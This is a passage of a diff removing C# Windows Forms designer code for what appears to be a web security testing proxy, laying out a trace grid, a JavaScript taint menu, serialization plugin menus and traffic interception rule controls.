dataGridViewCellStyle26.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle26.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle26.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle26.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle26.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.TraceGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle26; - this.TraceGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; - this.TraceGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewTextBoxColumn26, - this.dataGridViewTextBoxColumn28, - this.Column1, - this.dataGridViewTextBoxColumn29, - this.dataGridViewTextBoxColumn30, - this.dataGridViewTextBoxColumn31}); - this.TraceGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.TraceGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.TraceGrid.GridColor = System.Drawing.Color.White; - this.TraceGrid.Location = new System.Drawing.Point(0, 0); - this.TraceGrid.Margin = new System.Windows.Forms.Padding(0); - this.TraceGrid.MultiSelect = false; - this.TraceGrid.Name = "TraceGrid"; - this.TraceGrid.ReadOnly = true; - this.TraceGrid.RowHeadersVisible = false; - this.TraceGrid.RowHeadersWidth = 10; - this.TraceGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.TraceGrid.Size = new System.Drawing.Size(689, 210); - this.TraceGrid.TabIndex = 8; - this.TraceGrid.SelectionChanged += new System.EventHandler(this.TraceGrid_SelectionChanged); - // - // dataGridViewTextBoxColumn26 - // - this.dataGridViewTextBoxColumn26.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewTextBoxColumn26.HeaderText = "ID"; - this.dataGridViewTextBoxColumn26.MinimumWidth = 50; - this.dataGridViewTextBoxColumn26.Name = "dataGridViewTextBoxColumn26"; - this.dataGridViewTextBoxColumn26.ReadOnly = true; - this.dataGridViewTextBoxColumn26.Width = 50; - // - // dataGridViewTextBoxColumn28 - // - this.dataGridViewTextBoxColumn28.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewTextBoxColumn28.HeaderText = "TIME"; - this.dataGridViewTextBoxColumn28.MinimumWidth = 50; - this.dataGridViewTextBoxColumn28.Name = "dataGridViewTextBoxColumn28"; - this.dataGridViewTextBoxColumn28.ReadOnly = true; - this.dataGridViewTextBoxColumn28.Width = 58; - // - // Column1 - // - this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.Column1.HeaderText = "DATE"; - this.Column1.MinimumWidth = 20; - this.Column1.Name = "Column1"; - this.Column1.ReadOnly = true; - this.Column1.Width = 60; - // - // dataGridViewTextBoxColumn29 - // - this.dataGridViewTextBoxColumn29.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewTextBoxColumn29.HeaderText = "THREAD ID"; - this.dataGridViewTextBoxColumn29.MinimumWidth = 30; - this.dataGridViewTextBoxColumn29.Name = "dataGridViewTextBoxColumn29"; - this.dataGridViewTextBoxColumn29.ReadOnly = true; - this.dataGridViewTextBoxColumn29.Width = 91; - // - // dataGridViewTextBoxColumn30 - // - this.dataGridViewTextBoxColumn30.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewTextBoxColumn30.HeaderText = "SOURCE"; - this.dataGridViewTextBoxColumn30.MinimumWidth = 50; - this.dataGridViewTextBoxColumn30.Name = "dataGridViewTextBoxColumn30"; - this.dataGridViewTextBoxColumn30.ReadOnly = true; - this.dataGridViewTextBoxColumn30.Width = 77; - // - // dataGridViewTextBoxColumn31 - // - this.dataGridViewTextBoxColumn31.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn31.HeaderText = "MESSAGE"; - this.dataGridViewTextBoxColumn31.MinimumWidth = 150; - this.dataGridViewTextBoxColumn31.Name = "dataGridViewTextBoxColumn31"; - this.dataGridViewTextBoxColumn31.ReadOnly = true; - // - // TraceMsgRTB - // - this.TraceMsgRTB.BackColor = System.Drawing.Color.White; - this.TraceMsgRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.TraceMsgRTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.TraceMsgRTB.Location = new System.Drawing.Point(0, 0); - this.TraceMsgRTB.Name = "TraceMsgRTB"; - this.TraceMsgRTB.ReadOnly = true; - this.TraceMsgRTB.Size = new System.Drawing.Size(689, 245); - this.TraceMsgRTB.TabIndex = 0; - this.TraceMsgRTB.Text = ""; - this.TraceMsgRTB.LinkClicked += new System.Windows.Forms.LinkClickedEventHandler(this.TraceMsgRTB_LinkClicked); - // - // DevHelpTab - // - this.DevHelpTab.Controls.Add(this.DevHelpTB); - this.DevHelpTab.Location = new System.Drawing.Point(4, 22); - this.DevHelpTab.Name = "DevHelpTab"; - this.DevHelpTab.Size = new System.Drawing.Size(697, 485); - this.DevHelpTab.TabIndex = 2; - this.DevHelpTab.Text = " Help "; - this.DevHelpTab.UseVisualStyleBackColor = true; - // - // DevHelpTB - // - this.DevHelpTB.BackColor = System.Drawing.Color.White; - this.DevHelpTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.DevHelpTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.DevHelpTB.Location = new System.Drawing.Point(0, 0); - this.DevHelpTB.Multiline = true; - this.DevHelpTB.Name = "DevHelpTB"; - this.DevHelpTB.ReadOnly = true; - this.DevHelpTB.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; - this.DevHelpTB.Size = new System.Drawing.Size(697, 485); - this.DevHelpTB.TabIndex = 2; - this.DevHelpTB.TabStop = false; - this.DevHelpTB.Text = resources.GetString("DevHelpTB.Text"); - // - // JSTainTraceEditMenu - // - this.JSTainTraceEditMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.AddSourceTaintToolStripMenuItem, - this.AddSinkTaintToolStripMenuItem, - this.RemoveSourceTaintToolStripMenuItem, - this.RemoveSinkTaintToolStripMenuItem, - this.CopyLineTaintToolStripMenuItem}); - this.JSTainTraceEditMenu.Name = "JSTainTraceEditMenu"; - this.JSTainTraceEditMenu.Size = new System.Drawing.Size(187, 114); - // - // AddSourceTaintToolStripMenuItem - // - this.AddSourceTaintToolStripMenuItem.Name = "AddSourceTaintToolStripMenuItem"; - this.AddSourceTaintToolStripMenuItem.Size = new System.Drawing.Size(186, 22); - this.AddSourceTaintToolStripMenuItem.Text = "Set Source Taint"; - // - // AddSinkTaintToolStripMenuItem - // - this.AddSinkTaintToolStripMenuItem.Name = "AddSinkTaintToolStripMenuItem"; - this.AddSinkTaintToolStripMenuItem.Size = new System.Drawing.Size(186, 22); - this.AddSinkTaintToolStripMenuItem.Text = "Set Sink Taint"; - // - // RemoveSourceTaintToolStripMenuItem - // - this.RemoveSourceTaintToolStripMenuItem.Name = "RemoveSourceTaintToolStripMenuItem"; - this.RemoveSourceTaintToolStripMenuItem.Size = new System.Drawing.Size(186, 22); - this.RemoveSourceTaintToolStripMenuItem.Text = "Remove Source Taint"; - // - // RemoveSinkTaintToolStripMenuItem - // - this.RemoveSinkTaintToolStripMenuItem.Name = "RemoveSinkTaintToolStripMenuItem"; - this.RemoveSinkTaintToolStripMenuItem.Size = new System.Drawing.Size(186, 22); - this.RemoveSinkTaintToolStripMenuItem.Text = "Remove Sink Taint"; - // - // CopyLineTaintToolStripMenuItem - // - this.CopyLineTaintToolStripMenuItem.Name = "CopyLineTaintToolStripMenuItem"; - this.CopyLineTaintToolStripMenuItem.Size = new System.Drawing.Size(186, 22); - this.CopyLineTaintToolStripMenuItem.Text = "Copy Line"; - // - // MTRequestFormatPluginsMenu - // - this.MTRequestFormatPluginsMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.MTRequestDeSerObjectToXmlMenuItem, - this.MTRequestSerXmlToObjectMenuItem}); - this.MTRequestFormatPluginsMenu.Name = "ProxyLogMenu"; - this.MTRequestFormatPluginsMenu.Size = new System.Drawing.Size(210, 48); - // - // MTRequestDeSerObjectToXmlMenuItem - // - this.MTRequestDeSerObjectToXmlMenuItem.Name = "MTRequestDeSerObjectToXmlMenuItem"; - this.MTRequestDeSerObjectToXmlMenuItem.Size = new System.Drawing.Size(209, 22); - this.MTRequestDeSerObjectToXmlMenuItem.Text = "DeSerialize Object to XML"; - // - // MTRequestSerXmlToObjectMenuItem - // - this.MTRequestSerXmlToObjectMenuItem.Name = "MTRequestSerXmlToObjectMenuItem"; - this.MTRequestSerXmlToObjectMenuItem.Size = new System.Drawing.Size(209, 22); - this.MTRequestSerXmlToObjectMenuItem.Text = "Serialize XML to Object"; - // - // ProxyResponseFormatPluginsMenu - // - this.ProxyResponseFormatPluginsMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.ProxyResponseDeSerObjectToXmlMenuItem, - this.ProxyResponseSerXmlToObjectMenuItem}); - this.ProxyResponseFormatPluginsMenu.Name = "ProxyLogMenu"; - this.ProxyResponseFormatPluginsMenu.Size = new System.Drawing.Size(210, 48); - // - // ProxyResponseDeSerObjectToXmlMenuItem - // - this.ProxyResponseDeSerObjectToXmlMenuItem.Name = "ProxyResponseDeSerObjectToXmlMenuItem"; - this.ProxyResponseDeSerObjectToXmlMenuItem.Size = new System.Drawing.Size(209, 22); - this.ProxyResponseDeSerObjectToXmlMenuItem.Text = "DeSerialize Object to XML"; - // - // ProxyResponseSerXmlToObjectMenuItem - // - this.ProxyResponseSerXmlToObjectMenuItem.Name = "ProxyResponseSerXmlToObjectMenuItem"; - this.ProxyResponseSerXmlToObjectMenuItem.Size = new System.Drawing.Size(209, 22); - this.ProxyResponseSerXmlToObjectMenuItem.Text = "Serialize XML to Object"; - // - // ProxyRequestFormatPluginsMenu - // - this.ProxyRequestFormatPluginsMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.ProxyRequestDeSerObjectToXmlMenuItem, - this.ProxyRequestSerXmlToObjectMenuItem}); - this.ProxyRequestFormatPluginsMenu.Name = "ProxyLogMenu"; - this.ProxyRequestFormatPluginsMenu.Size = new System.Drawing.Size(210, 48); - // - // ProxyRequestDeSerObjectToXmlMenuItem - // - this.ProxyRequestDeSerObjectToXmlMenuItem.Name = "ProxyRequestDeSerObjectToXmlMenuItem"; - this.ProxyRequestDeSerObjectToXmlMenuItem.Size = new System.Drawing.Size(209, 22); - this.ProxyRequestDeSerObjectToXmlMenuItem.Text = "DeSerialize Object to XML"; - // - // ProxyRequestSerXmlToObjectMenuItem - // - this.ProxyRequestSerXmlToObjectMenuItem.Name = "ProxyRequestSerXmlToObjectMenuItem"; - this.ProxyRequestSerXmlToObjectMenuItem.Size = new System.Drawing.Size(209, 22); - this.ProxyRequestSerXmlToObjectMenuItem.Text = "Serialize XML to Object"; - // - // ConfigPanel - // - this.ConfigPanel.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigPanel.AutoScroll = true; - this.ConfigPanel.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.ConfigPanel.Controls.Add(this.ConfigPanelTabs); - this.ConfigPanel.Location = new System.Drawing.Point(1, 25); - this.ConfigPanel.Name = "ConfigPanel"; - this.ConfigPanel.Size = new System.Drawing.Size(883, 10); - this.ConfigPanel.TabIndex = 1; - this.ConfigPanel.Visible = false; - // - // ConfigPanelTabs - // - this.ConfigPanelTabs.Controls.Add(this.ConfigInterceptRulesTab); - this.ConfigPanelTabs.Controls.Add(this.ConfigDisplayRulesTab); - this.ConfigPanelTabs.Controls.Add(this.ConfigScriptingTab); - this.ConfigPanelTabs.Controls.Add(this.ConfigHTTPAPITab); - this.ConfigPanelTabs.Controls.Add(this.ConfigTaintConfigTab); - this.ConfigPanelTabs.Controls.Add(this.ConfigPassiveAnalysisTab); - this.ConfigPanelTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.ConfigPanelTabs.Location = new System.Drawing.Point(0, 0); - this.ConfigPanelTabs.Margin = new System.Windows.Forms.Padding(0); - this.ConfigPanelTabs.Name = "ConfigPanelTabs"; - this.ConfigPanelTabs.Padding = new System.Drawing.Point(0, 0); - this.ConfigPanelTabs.SelectedIndex = 0; - this.ConfigPanelTabs.Size = new System.Drawing.Size(881, 8); - this.ConfigPanelTabs.TabIndex = 0; - this.ConfigPanelTabs.SelectedIndexChanged += new System.EventHandler(this.ConfigPanelTabs_SelectedIndexChanged); - // - // ConfigInterceptRulesTab - // - this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleRequestOnResponseRulesCB); - this.ConfigInterceptRulesTab.Controls.Add(this.label25); - this.ConfigInterceptRulesTab.Controls.Add(this.label24); - this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleKeywordInResponseGB); - this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleContentJSONCB); - this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleKeywordInRequestGB); - this.ConfigInterceptRulesTab.Controls.Add(this.groupBox2); - this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleApplyChangesLL); - this.ConfigInterceptRulesTab.Controls.Add(this.groupBox1); - this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleCancelChangesLL); - this.ConfigInterceptRulesTab.Controls.Add(this.label10); - this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleContentCSSCB); - this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleCode5xxCB); - this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleContentJSCB); - this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleCode500CB); - this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleContentImgCB); - this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleCode4xxCB); - this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleContentOtherBinaryCB); - this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleCode403CB); - this.ConfigInterceptRulesTab.Controls.Add(this.label9); - this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleCode3xxCB); - this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleContentHTMLCB); - this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleCode301_2CB); - this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleGETMethodCB); - this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleCode2xxCB); - this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRulePOSTMethodCB); - this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleCode200CB); - this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleOtherMethodsCB); - this.ConfigInterceptRulesTab.Controls.Add(this.label13); - this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleContentOtherTextCB); - this.ConfigInterceptRulesTab.Controls.Add(this.ConfigRuleContentXMLCB); - this.ConfigInterceptRulesTab.Location = new System.Drawing.Point(4, 22); - this.ConfigInterceptRulesTab.Name = "ConfigInterceptRulesTab"; - this.ConfigInterceptRulesTab.Size = new System.Drawing.Size(873, 0); - this.ConfigInterceptRulesTab.TabIndex = 4; - this.ConfigInterceptRulesTab.Text = "Proxy Traffic Interception Rules"; - this.ConfigInterceptRulesTab.UseVisualStyleBackColor = true; - // - // ConfigRuleRequestOnResponseRulesCB - // - this.ConfigRuleRequestOnResponseRulesCB.AutoSize = true; - this.ConfigRuleRequestOnResponseRulesCB.Checked = true; - this.ConfigRuleRequestOnResponseRulesCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigRuleRequestOnResponseRulesCB.Location = new System.Drawing.Point(682, 205); - this.ConfigRuleRequestOnResponseRulesCB.Name = "ConfigRuleRequestOnResponseRulesCB"; - this.ConfigRuleRequestOnResponseRulesCB.Size = new System.Drawing.Size(186, 17); - this.ConfigRuleRequestOnResponseRulesCB.TabIndex = 70; - this.ConfigRuleRequestOnResponseRulesCB.Text = "Response Rules + Request Rules"; - this.ConfigRuleRequestOnResponseRulesCB.UseVisualStyleBackColor = true; - // - // label25 - // - this.label25.AutoSize = true; - this.label25.Location = new System.Drawing.Point(5, 204); - this.label25.Name = "label25"; - this.label25.Size = new System.Drawing.Size(88, 13); - this.label25.TabIndex = 69; - this.label25.Text = "Response Rules:"; - // - // label24 - // - this.label24.AutoSize = true; - this.label24.Location = new System.Drawing.Point(5, 5); - this.label24.Name = "label24"; - this.label24.Size = new System.Drawing.Size(80, 13); - this.label24.TabIndex = 68; - this.label24.Text = "Request Rules:"; - // - // ConfigRuleKeywordInResponseGB - // - this.ConfigRuleKeywordInResponseGB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigRuleKeywordInResponseGB.Controls.Add(this.ConfigRuleKeywordInResponseCB); - this.ConfigRuleKeywordInResponseGB.Controls.Add(this.ConfigRuleKeywordInResponsePlusTB); - this.ConfigRuleKeywordInResponseGB.Controls.Add(this.ConfigRuleKeywordInResponseMinusTB); - this.ConfigRuleKeywordInResponseGB.Controls.Add(this.ConfigRuleKeywordInResponsePlusRB); - this.ConfigRuleKeywordInResponseGB.Controls.Add(this.ConfigRuleKeywordInResponseMinusRB); - this.ConfigRuleKeywordInResponseGB.FlatStyle = System.Windows.Forms.FlatStyle.Popup; - this.ConfigRuleKeywordInResponseGB.Location = new System.Drawing.Point(2, 260); - this.ConfigRuleKeywordInResponseGB.Name = "ConfigRuleKeywordInResponseGB"; - this.ConfigRuleKeywordInResponseGB.Size = new System.Drawing.Size(868, 52); - this.ConfigRuleKeywordInResponseGB.TabIndex = 66; - this.ConfigRuleKeywordInResponseGB.TabStop = false; - // - // ConfigRuleKeywordInResponseCB - // - this.ConfigRuleKeywordInResponseCB.AutoSize = true; - this.ConfigRuleKeywordInResponseCB.Location = new System.Drawing.Point(8, 20); - this.ConfigRuleKeywordInResponseCB.Name = "ConfigRuleKeywordInResponseCB"; - this.ConfigRuleKeywordInResponseCB.Size = new System.Drawing.Size(132, 17); - this.ConfigRuleKeywordInResponseCB.TabIndex = 59; - this.ConfigRuleKeywordInResponseCB.Text = "Keyword in Response:"; - this.ConfigRuleKeywordInResponseCB.UseVisualStyleBackColor = true; - this.ConfigRuleKeywordInResponseCB.CheckedChanged += new System.EventHandler(this.ConfigRuleKeywordInResponseCB_CheckedChanged); - // - // ConfigRuleKeywordInResponsePlusTB - // - this.ConfigRuleKeywordInResponsePlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigRuleKeywordInResponsePlusTB.Enabled = false; - this.ConfigRuleKeywordInResponsePlusTB.Location = new System.Drawing.Point(180, 8); - this.ConfigRuleKeywordInResponsePlusTB.Name = "ConfigRuleKeywordInResponsePlusTB"; - this.ConfigRuleKeywordInResponsePlusTB.Size = new System.Drawing.Size(685, 20); - this.ConfigRuleKeywordInResponsePlusTB.TabIndex = 51; - // - // ConfigRuleKeywordInResponseMinusTB - // - this.ConfigRuleKeywordInResponseMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigRuleKeywordInResponseMinusTB.Enabled = false; - this.ConfigRuleKeywordInResponseMinusTB.Location = new System.Drawing.Point(180, 29); - this.ConfigRuleKeywordInResponseMinusTB.Name = "ConfigRuleKeywordInResponseMinusTB"; - this.ConfigRuleKeywordInResponseMinusTB.Size = new System.Drawing.Size(685, 20); - this.ConfigRuleKeywordInResponseMinusTB.TabIndex = 52; - // - // ConfigRuleKeywordInResponsePlusRB - // - this.ConfigRuleKeywordInResponsePlusRB.AutoSize = true; - this.ConfigRuleKeywordInResponsePlusRB.Enabled = false; - this.ConfigRuleKeywordInResponsePlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigRuleKeywordInResponsePlusRB.Location = new System.Drawing.Point(142, 9); - this.ConfigRuleKeywordInResponsePlusRB.Name = "ConfigRuleKeywordInResponsePlusRB"; - this.ConfigRuleKeywordInResponsePlusRB.Size = new System.Drawing.Size(34, 20); - this.ConfigRuleKeywordInResponsePlusRB.TabIndex = 57; - this.ConfigRuleKeywordInResponsePlusRB.TabStop = true; - this.ConfigRuleKeywordInResponsePlusRB.Text = "+"; - this.ConfigRuleKeywordInResponsePlusRB.UseVisualStyleBackColor = true; - // - // ConfigRuleKeywordInResponseMinusRB - // - this.ConfigRuleKeywordInResponseMinusRB.AutoSize = true; - this.ConfigRuleKeywordInResponseMinusRB.Enabled = false; - this.ConfigRuleKeywordInResponseMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigRuleKeywordInResponseMinusRB.Location = new System.Drawing.Point(142, 28); - this.ConfigRuleKeywordInResponseMinusRB.Name = "ConfigRuleKeywordInResponseMinusRB"; - this.ConfigRuleKeywordInResponseMinusRB.Size = new System.Drawing.Size(31, 20); - this.ConfigRuleKeywordInResponseMinusRB.TabIndex = 58; - this.ConfigRuleKeywordInResponseMinusRB.TabStop = true; - this.ConfigRuleKeywordInResponseMinusRB.Text = "-"; - this.ConfigRuleKeywordInResponseMinusRB.UseVisualStyleBackColor = true; - // - // ConfigRuleContentJSONCB - // - this.ConfigRuleContentJSONCB.AutoSize = true; - this.ConfigRuleContentJSONCB.Checked = true; - this.ConfigRuleContentJSONCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigRuleContentJSONCB.Location = new System.Drawing.Point(331, 244); - this.ConfigRuleContentJSONCB.Name = "ConfigRuleContentJSONCB"; - this.ConfigRuleContentJSONCB.Size = new System.Drawing.Size(54, 17); - this.ConfigRuleContentJSONCB.TabIndex = 67; - this.ConfigRuleContentJSONCB.Text = "JSON"; - this.ConfigRuleContentJSONCB.UseVisualStyleBackColor = true; - // - // ConfigRuleKeywordInRequestGB - // - this.ConfigRuleKeywordInRequestGB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigRuleKeywordInRequestGB.Controls.Add(this.ConfigRuleKeywordInRequestCB); - this.ConfigRuleKeywordInRequestGB.Controls.Add(this.ConfigRuleKeywordInRequestPlusTB); - this.ConfigRuleKeywordInRequestGB.Controls.Add(this.ConfigRuleKeywordInRequestMinusTB); - this.ConfigRuleKeywordInRequestGB.Controls.Add(this.ConfigRuleKeywordInRequestPlusRB); - this.ConfigRuleKeywordInRequestGB.Controls.Add(this.ConfigRuleKeywordInRequestMinusRB); - this.ConfigRuleKeywordInRequestGB.FlatStyle = System.Windows.Forms.FlatStyle.Popup; - this.ConfigRuleKeywordInRequestGB.Location = new System.Drawing.Point(2, 145); - this.ConfigRuleKeywordInRequestGB.Name = "ConfigRuleKeywordInRequestGB"; - this.ConfigRuleKeywordInRequestGB.Size = new System.Drawing.Size(868, 52); - this.ConfigRuleKeywordInRequestGB.TabIndex = 65; - this.ConfigRuleKeywordInRequestGB.TabStop = false; - // - // ConfigRuleKeywordInRequestCB - // - this.ConfigRuleKeywordInRequestCB.AutoSize = true; - this.ConfigRuleKeywordInRequestCB.Location = new System.Drawing.Point(8, 20); - this.ConfigRuleKeywordInRequestCB.Name = "ConfigRuleKeywordInRequestCB"; - this.ConfigRuleKeywordInRequestCB.Size = new System.Drawing.Size(124, 17); - this.ConfigRuleKeywordInRequestCB.TabIndex = 59; - this.ConfigRuleKeywordInRequestCB.Text = "Keyword in Request:"; - this.ConfigRuleKeywordInRequestCB.UseVisualStyleBackColor = true; - this.ConfigRuleKeywordInRequestCB.CheckedChanged += new System.EventHandler(this.ConfigRuleKeywordInRequestCB_CheckedChanged); - // - // ConfigRuleKeywordInRequestPlusTB - // - this.ConfigRuleKeywordInRequestPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigRuleKeywordInRequestPlusTB.Enabled = false; - this.ConfigRuleKeywordInRequestPlusTB.Location = new System.Drawing.Point(180, 8); - this.ConfigRuleKeywordInRequestPlusTB.Name = "ConfigRuleKeywordInRequestPlusTB"; - this.ConfigRuleKeywordInRequestPlusTB.Size = new System.Drawing.Size(685, 20); - this.ConfigRuleKeywordInRequestPlusTB.TabIndex = 51; - // - // ConfigRuleKeywordInRequestMinusTB - // - this.ConfigRuleKeywordInRequestMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigRuleKeywordInRequestMinusTB.Enabled = false; - this.ConfigRuleKeywordInRequestMinusTB.Location = new System.Drawing.Point(180, 29); - this.ConfigRuleKeywordInRequestMinusTB.Name = "ConfigRuleKeywordInRequestMinusTB"; - this.ConfigRuleKeywordInRequestMinusTB.Size = new System.Drawing.Size(685, 20); - this.ConfigRuleKeywordInRequestMinusTB.TabIndex = 52; - // - // ConfigRuleKeywordInRequestPlusRB - // - this.ConfigRuleKeywordInRequestPlusRB.AutoSize = true; - this.ConfigRuleKeywordInRequestPlusRB.Enabled = false; - this.ConfigRuleKeywordInRequestPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigRuleKeywordInRequestPlusRB.Location = new System.Drawing.Point(142, 9); - this.ConfigRuleKeywordInRequestPlusRB.Name = "ConfigRuleKeywordInRequestPlusRB"; - this.ConfigRuleKeywordInRequestPlusRB.Size = new System.Drawing.Size(34, 20); - this.ConfigRuleKeywordInRequestPlusRB.TabIndex = 57; - this.ConfigRuleKeywordInRequestPlusRB.TabStop = true; - this.ConfigRuleKeywordInRequestPlusRB.Text = "+"; - this.ConfigRuleKeywordInRequestPlusRB.UseVisualStyleBackColor = true; - // - // ConfigRuleKeywordInRequestMinusRB - // - this.ConfigRuleKeywordInRequestMinusRB.AutoSize = true; - this.ConfigRuleKeywordInRequestMinusRB.Enabled = false; - this.ConfigRuleKeywordInRequestMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigRuleKeywordInRequestMinusRB.Location = new System.Drawing.Point(142, 28); - this.ConfigRuleKeywordInRequestMinusRB.Name = "ConfigRuleKeywordInRequestMinusRB"; - this.ConfigRuleKeywordInRequestMinusRB.Size = new System.Drawing.Size(31, 20); - this.ConfigRuleKeywordInRequestMinusRB.TabIndex = 58; - this.ConfigRuleKeywordInRequestMinusRB.TabStop = true; - this.ConfigRuleKeywordInRequestMinusRB.Text = "-"; - this.ConfigRuleKeywordInRequestMinusRB.UseVisualStyleBackColor = true; - // - // groupBox2 - // - this.groupBox2.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.groupBox2.Controls.Add(this.ConfigRuleHostNamesCB); - this.groupBox2.Controls.Add(this.ConfigRuleHostNamesPlusTB); - this.groupBox2.Controls.Add(this.ConfigRuleHostNamesMinusTB); - this.groupBox2.Controls.Add(this.ConfigRuleHostNamesPlusRB); - this.groupBox2.Controls.Add(this.ConfigRuleHostNamesMinusRB); - this.groupBox2.FlatStyle = System.Windows.Forms.FlatStyle.Popup; - this.groupBox2.Location = new System.Drawing.Point(2, 91); - this.groupBox2.Margin = new System.Windows.Forms.Padding(0); - this.groupBox2.Name = "groupBox2"; - this.groupBox2.Size = new System.Drawing.Size(868, 52); - this.groupBox2.TabIndex = 64; - this.groupBox2.TabStop = false; - // - // ConfigRuleHostNamesCB - // - this.ConfigRuleHostNamesCB.AutoSize = true; - this.ConfigRuleHostNamesCB.Location = new System.Drawing.Point(8, 20); - this.ConfigRuleHostNamesCB.Name = "ConfigRuleHostNamesCB"; - this.ConfigRuleHostNamesCB.Size = new System.Drawing.Size(84, 17); - this.ConfigRuleHostNamesCB.TabIndex = 59; - this.ConfigRuleHostNamesCB.Text = "HostNames:"; - this.ConfigRuleHostNamesCB.UseVisualStyleBackColor = true; - this.ConfigRuleHostNamesCB.CheckedChanged += new System.EventHandler(this.ConfigRuleHostNamesCB_CheckedChanged); - // - // ConfigRuleHostNamesPlusTB - // - this.ConfigRuleHostNamesPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigRuleHostNamesPlusTB.Enabled = false; - this.ConfigRuleHostNamesPlusTB.Location = new System.Drawing.Point(160, 8); 